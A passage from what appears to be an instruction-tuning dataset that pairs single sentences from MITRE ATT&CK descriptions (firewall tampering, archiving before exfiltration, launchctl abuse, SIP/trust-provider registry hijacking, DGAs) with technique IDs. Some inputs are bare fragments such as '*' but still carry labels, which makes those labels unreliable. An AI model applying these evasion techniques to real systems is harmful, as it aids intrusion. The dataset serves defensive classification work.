Input: This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel. ### Response: T1562.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.", "output": "T1562.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ### Response: T1562.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)", "output": "T1562.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti) ### Response: T1562.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries.", "output": "T1560.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. ### Response: T1560.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github).", "output": "T1560.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). ### Response: T1560.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most libraries include functionality to encrypt and/or compress data.", "output": "T1560.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most libraries include functionality to encrypt and/or compress data. ### Response: T1560.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows.", "output": "T1560.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. ### Response: T1560.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Note that the libraries are different from the utilities.", "output": "T1560.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Note that the libraries are different from the utilities. ### Response: T1560.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.", "output": "T1560.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism. ### Response: T1560.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse various utilities to compress or encrypt data before exfiltration.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse various utilities to compress or encrypt data before exfiltration. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows, <code>diantz</code> or <code>", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows, <code>diantz</code> or <code> ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "makecab</code> may be used to package collected files into a cabinet (.cab) file.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: makecab</code> may be used to package collected files into a cabinet (.cab) file. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories with a variety of options.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories with a variety of options. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage) ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method.", "output": "T1560.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. ### Response: T1560.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references.", "output": "T1560.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. ### Response: T1560.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)", "output": "T1560.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2) ### Response: T1560.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may compress and/or encrypt data that is collected prior to exfiltration.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may compress and/or encrypt data that is collected prior to exfiltration. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself.", "output": "T1152", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. ### Response: T1152."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.", "output": "T1152", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. ### Response: T1152."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan).", "output": "T1152", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan). ### Response: T1152."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running a command from launchctl is as simple as <code>launchctl submit -l", "output": "T1152", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running a command from launchctl is as simple as <code>launchctl submit -l ### Response: T1152."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>.", "output": "T1152", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. ### Response: T1152."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.", "output": "T1152", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. ### Response: T1152."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.", "output": "T1152", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process. ### Response: T1152."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to subvert these trust mechanisms.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to subvert these trust mechanisms. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The method adversaries use will depend on the specific mechanism they seek to subvert.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The method adversaries use will depend on the specific mechanism they seek to subvert. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe).", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs).", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file). ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function).", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying the <code>DLL</code> and <code>Function</code>", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying the <code>DLL</code> and <code>Function</code> ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* **Note:**", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * **Note:** ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains.", "output": "T1483", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. ### Response: T1483."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter.", "output": "T1483", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. ### Response: T1483."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net).", "output": "T1483", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). ### Response: T1483."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc).", "output": "T1483", "text": "Below is an 